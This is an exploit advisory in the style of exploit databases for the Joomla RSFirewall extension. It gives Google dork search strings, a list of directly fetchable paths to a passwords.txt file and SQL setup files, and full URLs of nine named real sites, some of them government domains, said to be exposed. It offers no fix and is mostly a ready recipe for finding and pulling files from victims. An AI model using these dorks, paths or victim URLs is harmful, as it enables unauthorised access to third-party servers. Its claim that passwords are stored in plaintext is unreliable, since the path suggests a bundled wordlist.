#################################################################### # Exploit Title : Joomla RSFirewall Components 2.11.25 Database and Password Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 25/01/2019 # Vendor Homepage : rsjoomla.com # Software Download Link : extensions.joomla.org/extension/rsfirewall/ # Software Information Link : rsjoomla.com/joomla-extensions/joomla-security.html # Software Price : 50 Euro # Affected Versions : 2.11.25 and 2.5.0 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_rsfirewall'' inurl:''/administrator/components/com_rsfirewall/'' intext:Hosted & Designed By Suryanandan.net intext:Designed by Artilabio # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-256 [ Unprotected Storage of Credentials ] #################################################################### # Description : *************** * Joomla RSFirewall Components 2.11.25 and 2.50 versions has information exposure vulnerability that is intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * Storing passwords in plaintext may result in a system compromise. #################################################################### # Unprotected Storage of Credentials Exploit : *************************************** /administrator/components/com_rsfirewall/assets/dictionary/passwords.txt # Database Disclosure Exploit : *************************** /administrator/components/com_rsfirewall/sql/mysql/configuration.data.sql /administrator/components/com_rsfirewall/sql/mysql/configuration.sql /administrator/components/com_rsfirewall/sql/mysql/exceptions.sql /administrator/components/com_rsfirewall/sql/mysql/feeds.data.sql /administrator/components/com_rsfirewall/sql/mysql/feeds.sql /administrator/components/com_rsfirewall/sql/mysql/hashes.data.sql /administrator/components/com_rsfirewall/sql/mysql/hashes.sql /administrator/components/com_rsfirewall/sql/mysql/ignored.sql /administrator/components/com_rsfirewall/sql/mysql/lists.sql /administrator/components/com_rsfirewall/sql/mysql/logs.sql /administrator/components/com_rsfirewall/sql/mysql/offenders.sql /administrator/components/com_rsfirewall/sql/mysql/signatures.data.sql /administrator/components/com_rsfirewall/sql/mysql/signatures.sql /administrator/components/com_rsfirewall/sql/mysql/snapshots.sql /administrator/components/com_rsfirewall/sql/mysql/uninstall.sql /administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql /administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql /administrator/components/com_rsfirewall/sql/sqlazure/configuration.sql /administrator/components/com_rsfirewall/sql/sqlazure/exceptions.sql /administrator/components/com_rsfirewall/sql/sqlazure/feeds.data.sql /administrator/components/com_rsfirewall/sql/sqlazure/feeds.sql /administrator/components/com_rsfirewall/sql/sqlazure/hashes.data.sql /administrator/components/com_rsfirewall/sql/sqlazure/hashes.sql /administrator/components/com_rsfirewall/sql/sqlazure/ignored.sql /administrator/components/com_rsfirewall/sql/sqlazure/lists.sql /administrator/components/com_rsfirewall/sql/sqlazure/logs.sql /administrator/components/com_rsfirewall/sql/sqlazure/offenders.sql /administrator/components/com_rsfirewall/sql/sqlazure/signatures.data.sql /administrator/components/com_rsfirewall/sql/sqlazure/signatures.sql /administrator/components/com_rsfirewall/sql/sqlazure/snapshots.sql /administrator/components/com_rsfirewall/sql/sqlazure/uninstall.sql #################################################################### # Example Vulnerable Sites : ************************* [+] ippbm.gov.my/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt [+] sprachkurse-niederlaendisch.de/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt [+] emserpa.gov.co/sitio/administrator/components/com_rsfirewall/sql/mysql/configuration.sql [+] tdahmalaga.org/administrator/components/com_rsfirewall/sql/mysql/configuration.sql [+] holzmanmoss.com/140313_OldSite/administrator/components/com_rsfirewall/sql/mysql/configuration.sql [+] kvgandhinagarcantt.org.in/administrator/components/com_rsfirewall/sql/mysql/configuration.sql [+] psipw.org/administrator/components/com_rsfirewall/sql/mysql/configuration.sql [+] sphereweb.gr/administrator/components/com_rsfirewall/sql/mysql/configuration.sql [+] galstaffmultiresine.it/administrator/components/com_rsfirewall/sql/mysql/configuration.sql #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################